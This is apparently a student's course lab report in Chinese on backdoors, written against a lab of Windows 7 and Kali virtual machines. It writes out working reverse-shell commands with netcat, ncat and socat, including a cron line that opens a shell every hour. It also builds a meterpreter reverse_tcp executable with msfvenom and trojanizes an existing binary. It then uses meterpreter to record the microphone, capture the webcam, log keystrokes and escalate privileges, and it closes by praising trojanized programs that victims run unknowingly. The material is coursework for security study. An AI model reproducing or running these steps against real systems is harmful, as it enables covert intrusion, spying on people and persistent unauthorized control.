2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践

实验内容

  • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

  • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
浏览网页的时候可能会因为浏览器漏洞进行后门的下载

(2)例举你知道的后门如何启动起来(win及linux)的方式?
首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动

(3)Meterpreter有哪些给你映像深刻的功能?
他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现

(4)如何发现自己有系统有没有被安装后门?
安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉

实验一

任务一 Windows获得Linux Shell

  • 1.首先使用命令ipconfig查看Windows的IP地址

  • 2.进入老师给的程序的ncat文件夹中,使用命令ncat.exe -l -p 5303监听本机的5303端口

  • 3.在kali环境中使用netcat命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh进行连接

  • 4.成功获得kali的权限,如图所示

    注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下

任务二 Linux获得Windows Shell

  • 1.在kali使用ifconfig查看kali的IP地址,第二行的就是IP地址了

  • 2.使用nc指令监听5303端口nc -l -p 5303

  • 3.在Windows下,使用ncat程序的-e选项反向连接kali的5303端口
    ncat.exe -e cmd.exe 192.168.1.154 5303

  • 4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作

任务三 使用nc传递数据

  • 1.首先在Windows下监听5303端口ncat.exe -l 5303
  • 2.在kali下连接到Windows端口netcat 192.168.1.101 5303
  • 3.建立连接后可以进行数据传输下面是我进行数据传输的结果

任务四 使用netcat获取主机操作Shell,cron启动

  • 1.在Windows系统下,监听5303端口ncat.exe -l -p 5303
  • 2.使用crontab -e指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
    在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
  • 3.保存退出后的结果
  • 4.在16.45分成功获取了权限
  • 实验一借结束

实验二 使用socat获取主机操作Shell, 任务计划启动

  • 在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片

  • 点击操作选择启动程序程序或脚本填写你自己的socat.exe程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr

  • 这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exestderr重定向到stdout

  • 创建完成之后锁定计算机再重新启动即可发现程序已经在运行了

  • 然后在kali虚拟机中输入socat - tcp:192.168.1.101:5303这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell

  • 第二个实验结束

实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali上执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe

在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe指令,通过-lv选项看到当前的连接状态,这样被控主机就进入了文件接收模式

  • 在kali中执行nc 192.168.1.101 5303 < 20165303_backdoor.exe,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
  • 这里可以看到已经传输成功

  • 在Kali上使用msfconsole指令进入msf控制台

    先输入use exploit/multi/handler使用监听模块,
    set payload windows/meterpreter/reverse_tcp,设置payload
    set LHOST 192.168.1.154设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
    set LPORT 5303设置反弹回连的IP和端口

然后输入show options

在输入exploit使用监听

运行Windows7下的后门程序

可以看到kali已经获取了权限

  • 实验三结束

实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂

  • 1.使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

    在主文件夹中可以看到保存的音频文件wav

  • 2.使用webcam_snap指令可以使用摄像头进行拍照

  • 3.使用keyscan_start开始记录下敲键的过程,使用keyscan_dump指令读取敲键的记录

  • 4.使用screenshot可以进行截屏

  • 5.使用getuid可以查看当前用户,使用getsystem指令进行提权

  • 6.也可以使用webcam stream进行录像

实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

可以利用MSF直接生成shellcode注入到程序中

  • 这是网上查到的MSF命令行选项

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

现在生成shellcode并注入到pwn1中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4

然后使用MSF进行监听
先输入msfconsole
然后输入set payload linux/x86/meterpreter/reverse_tcp
在输入set LHOST 192.168.1.154
接着set LPORT 5303
开始监听exploit

在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序
发现成功了

  • 首先应该注意给pwn4程序加权限chmod +x pwn4
  • 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86

这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多

总结与体会

遇到的问题

  • 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
  • 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
  • 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来

体会

后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节
后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
当然这是最简单的后门,我们还需要继续努力,多多学习

posted @ 2019-03-19 17:39  Vventador  阅读(274)  评论(0编辑  收藏  举报